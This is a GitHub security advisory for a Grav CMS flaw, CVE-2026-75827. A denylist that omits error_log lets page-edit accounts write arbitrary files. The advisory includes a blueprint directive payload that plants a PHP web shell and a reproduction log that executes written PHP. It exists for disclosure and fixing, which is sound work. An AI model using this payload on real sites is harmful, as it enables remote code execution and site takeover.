GHSA-F8WV-XP27-6GQ7
Vulnerability from github – Published: 2026-09-17 20:44 – Updated: 2026-09-17 20:44Affected versions and vulnerable location
- Confirmed on grav core at
78ebfc1(tag 2.0.13). - Sinks:
system/src/Grav/Common/Data/Blueprint.php:455-458call_user_func_array($o, $params)(bare-function dynamic-data provider).- Twin:
system/src/Grav/Framework/Flex/FlexDirectory.php:936-938call_user_func_array($function, $params). - Validation gate:
Blueprint::isSafeDynamicCall()atBlueprint.php:514-536. Class::methodbranch (:514-527) uses a strict positive allowlistself::$allowedDynamicCallables.- Bare-function branch (
:530-534) uses only a denylist:if (is_string($function) && Utils::isDangerousFunction($function)) return false; return !self::paramsContainDangerousCallable($params);. - Denylist:
Utils::isDangerousFunction()(system/src/Grav/Common/Utils.php, list around:2020-2270).
Root cause
GHSA-7pgq/CVE-2026-64850 hardened the Class::method half of the dynamic-callable validation to a positive allowlist because a page-edit account could otherwise name any static method as a provider and reach file/secret gadgets. The bare-function half was left on a denylist (isDangerousFunction). Any bare PHP function not on that list executes.
error_log is not on the denylist (verified: no occurrence in Utils.php). error_log($message, 3, $destination) appends attacker-controlled $message to attacker-controlled file $destination, an arbitrary-file-append primitive. paramsContainDangerousCallable() (:587-603) only scans params for dangerous callable strings, so a PHP payload string and a destination path both pass. (stream_socket_client, dl, and mb_send_mail are likewise absent, giving SSRF/other primitives.)
Attacker model
The same surface the published dynamic-data advisories accept as reachable: a data-*@ directive in a form blueprint the Form plugin assembles from page frontmatter (GHSA-fj2p), or a data@ field in a Flex directory/pages/users blueprint (GHSA-c4wf). A page-edit / blueprint-config account, no shell.
Reachability trace
- Author a blueprint field with a bare-function data directive, e.g.
data-options@: ['error_log', '<?php system($_GET[0]); ?>', 3, 'user/data/x.php']. Blueprint::init()resolves the directive;isSafeDynamicCall('error_log', $params)reaches the bare-function branch (:530),isDangerousFunction('error_log')is false,paramsContainDangerousCallable([...])is false (no callable strings), so it returns true.call_user_func_array('error_log', ['<?php ...', 3, 'user/data/x.php'])(:455) appends the PHP payload touser/data/x.php.- Writing to a web-served path (or any path later included) yields code execution. The upload extension denylist does not apply, this is a direct
error_logwrite, not an upload.
Reproduction
Executed end to end against the real Grav\Common\Data\Blueprint class loaded via composer install autoload (PHP 8.5.8, core clone at HEAD 78ebfc1). A harness called the real public Blueprint::isSafeDynamicCall(), then drove the sink and executed the written file:
[1] isSafeDynamicCall('error_log', [payload,3,dest]) => true # guard ACCEPTS error_log (bug)
[2] isSafeDynamicCall('system', ['id']) => false # control
isSafeDynamicCall('exec', ['id']) => false # control
[3] call_user_func_array('error_log', ['<?php echo "PWNED"; ?>'.EOL, 3, '/tmp/grav_rce_proof.php'])
file written: /tmp/grav_rce_proof.php (23 bytes) = <?php echo "PWNED"; ?>
[4] php /tmp/grav_rce_proof.php => PWNED # arbitrary PHP executed (RCE)
The guard returns true for error_log (and false for the denylisted system/exec controls), the error_log sink wrote attacker PHP to disk, and executing that file yielded PWNED. Source confirmation:
rg -n "error_log|stream_socket_client|mb_send_mail" system/src/Grav/Common/Utils.php # no hits
rg -n "isDangerousFunction|allowedDynamicCallables|call_user_func_array" system/src/Grav/Common/Data/Blueprint.php
error_log absent from Utils.php; Blueprint.php gates the bare-function branch on isDangerousFunction only, while the Class::method branch uses the positive allowlist.
Suggested fix
Convert the bare-function branch to a positive allowlist, symmetric with the Class::method allowlist at :523 (only the option-provider functions first-party blueprints actually use). A denylist cannot be complete: error_log (arbitrary append), stream_socket_client (SSRF), and others must otherwise each be enumerated.
Severity and CVSS reasoning
Suggested severity: High (same class and reach as GHSA-fj2p / CVE-2026-64850).
Suggested CVSS:3.1 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (9.6) for the RCE outcome; the maintainer may prefer the exact rating they gave GHSA-fj2p.
PR:L: a blueprint/page-edit account, not super.C:H/I:H/A:H: arbitrary file write leading to code execution.
How I found it and a note on tooling
I compared the two branches of isSafeDynamicCall(): the Class::method branch is a positive allowlist (the GHSA-7pgq fix) while the bare-function branch is a denylist, then checked the denylist for append/exec-capable functions and found error_log missing. I used AI assistance for enumeration and drafting. I then executed the real Blueprint::isSafeDynamicCall() (loaded via composer autoload) to confirm it accepts error_log and rejects system/exec, and drove the error_log sink to write and execute attacker PHP. Verification is executed end to end against the real class; I did not run it through a full HTTP request into a bootstrapped Grav site.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.0.14"
},
"package": {
"ecosystem": "Packagist",
"name": "getgrav/grav"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.15"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-75827"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-17T20:44:16Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Affected versions and vulnerable location\n\n- Confirmed on grav core at `78ebfc1` (tag 2.0.13).\n- Sinks:\n - `system/src/Grav/Common/Data/Blueprint.php:455-458` `call_user_func_array($o, $params)` (bare-function dynamic-data provider).\n - Twin: `system/src/Grav/Framework/Flex/FlexDirectory.php:936-938` `call_user_func_array($function, $params)`.\n- Validation gate: `Blueprint::isSafeDynamicCall()` at `Blueprint.php:514-536`.\n - `Class::method` branch (`:514-527`) uses a strict positive allowlist `self::$allowedDynamicCallables`.\n - Bare-function branch (`:530-534`) uses only a denylist: `if (is_string($function) \u0026\u0026 Utils::isDangerousFunction($function)) return false; return !self::paramsContainDangerousCallable($params);`.\n- Denylist: `Utils::isDangerousFunction()` (`system/src/Grav/Common/Utils.php`, list around `:2020-2270`).\n\n## Root cause\n\nGHSA-7pgq/CVE-2026-64850 hardened the `Class::method` half of the dynamic-callable validation to a positive allowlist because a page-edit account could otherwise name any static method as a provider and reach file/secret gadgets. The bare-function half was left on a denylist (`isDangerousFunction`). Any bare PHP function not on that list executes.\n\n`error_log` is not on the denylist (verified: no occurrence in `Utils.php`). `error_log($message, 3, $destination)` appends attacker-controlled `$message` to attacker-controlled file `$destination`, an arbitrary-file-append primitive. `paramsContainDangerousCallable()` (`:587-603`) only scans params for dangerous callable strings, so a PHP payload string and a destination path both pass. (`stream_socket_client`, `dl`, and `mb_send_mail` are likewise absent, giving SSRF/other primitives.)\n\n## Attacker model\n\nThe same surface the published dynamic-data advisories accept as reachable: a `data-*@` directive in a form blueprint the Form plugin assembles from page frontmatter (GHSA-fj2p), or a `data@` field in a Flex directory/pages/users blueprint (GHSA-c4wf). A page-edit / blueprint-config account, no shell.\n\n## Reachability trace\n\n1. Author a blueprint field with a bare-function data directive, e.g.\n `data-options@: [\u0027error_log\u0027, \u0027\u003c?php system($_GET[0]); ?\u003e\u0027, 3, \u0027user/data/x.php\u0027]`.\n2. `Blueprint::init()` resolves the directive; `isSafeDynamicCall(\u0027error_log\u0027, $params)` reaches the bare-function branch (`:530`), `isDangerousFunction(\u0027error_log\u0027)` is false, `paramsContainDangerousCallable([...])` is false (no callable strings), so it returns true.\n3. `call_user_func_array(\u0027error_log\u0027, [\u0027\u003c?php ...\u0027, 3, \u0027user/data/x.php\u0027])` (`:455`) appends the PHP payload to `user/data/x.php`.\n4. Writing to a web-served path (or any path later included) yields code execution. The upload extension denylist does not apply, this is a direct `error_log` write, not an upload.\n\n## Reproduction\n\nExecuted end to end against the real `Grav\\Common\\Data\\Blueprint` class loaded via `composer install` autoload (PHP 8.5.8, core clone at HEAD 78ebfc1). A harness called the real public `Blueprint::isSafeDynamicCall()`, then drove the sink and executed the written file:\n\n```text\n[1] isSafeDynamicCall(\u0027error_log\u0027, [payload,3,dest]) =\u003e true # guard ACCEPTS error_log (bug)\n[2] isSafeDynamicCall(\u0027system\u0027, [\u0027id\u0027]) =\u003e false # control\n isSafeDynamicCall(\u0027exec\u0027, [\u0027id\u0027]) =\u003e false # control\n[3] call_user_func_array(\u0027error_log\u0027, [\u0027\u003c?php echo \"PWNED\"; ?\u003e\u0027.EOL, 3, \u0027/tmp/grav_rce_proof.php\u0027])\n file written: /tmp/grav_rce_proof.php (23 bytes) = \u003c?php echo \"PWNED\"; ?\u003e\n[4] php /tmp/grav_rce_proof.php =\u003e PWNED # arbitrary PHP executed (RCE)\n```\n\nThe guard returns true for `error_log` (and false for the denylisted `system`/`exec` controls), the `error_log` sink wrote attacker PHP to disk, and executing that file yielded `PWNED`. Source confirmation:\n\n```bash\nrg -n \"error_log|stream_socket_client|mb_send_mail\" system/src/Grav/Common/Utils.php # no hits\nrg -n \"isDangerousFunction|allowedDynamicCallables|call_user_func_array\" system/src/Grav/Common/Data/Blueprint.php\n```\n\n`error_log` absent from `Utils.php`; `Blueprint.php` gates the bare-function branch on `isDangerousFunction` only, while the `Class::method` branch uses the positive allowlist.\n\n## Suggested fix\n\nConvert the bare-function branch to a positive allowlist, symmetric with the `Class::method` allowlist at `:523` (only the option-provider functions first-party blueprints actually use). A denylist cannot be complete: `error_log` (arbitrary append), `stream_socket_client` (SSRF), and others must otherwise each be enumerated.\n\n## Severity and CVSS reasoning\n\nSuggested severity: High (same class and reach as GHSA-fj2p / CVE-2026-64850).\n\nSuggested CVSS:3.1 vector: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` (9.6) for the RCE outcome; the maintainer may prefer the exact rating they gave GHSA-fj2p.\n\n- `PR:L`: a blueprint/page-edit account, not super.\n- `C:H/I:H/A:H`: arbitrary file write leading to code execution.\n\n## How I found it and a note on tooling\n\nI compared the two branches of `isSafeDynamicCall()`: the `Class::method` branch is a positive allowlist (the GHSA-7pgq fix) while the bare-function branch is a denylist, then checked the denylist for append/exec-capable functions and found `error_log` missing. I used AI assistance for enumeration and drafting. I then executed the real `Blueprint::isSafeDynamicCall()` (loaded via composer autoload) to confirm it accepts `error_log` and rejects `system`/`exec`, and drove the `error_log` sink to write and execute attacker PHP. Verification is executed end to end against the real class; I did not run it through a full HTTP request into a bootstrapped Grav site.",
"id": "GHSA-f8wv-xp27-6gq7",
"modified": "2026-09-17T20:44:16Z",
"published": "2026-09-17T20:44:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/security/advisories/GHSA-f8wv-xp27-6gq7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-75827"
},
{
"type": "PACKAGE",
"url": "https://github.com/getgrav/grav"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/grav-before-arbitrary-file-write-via-error-log"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Grav: Blueprint dynamic-data bare-function branch is denylist-gated and omits error_log, giving arbitrary file write"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
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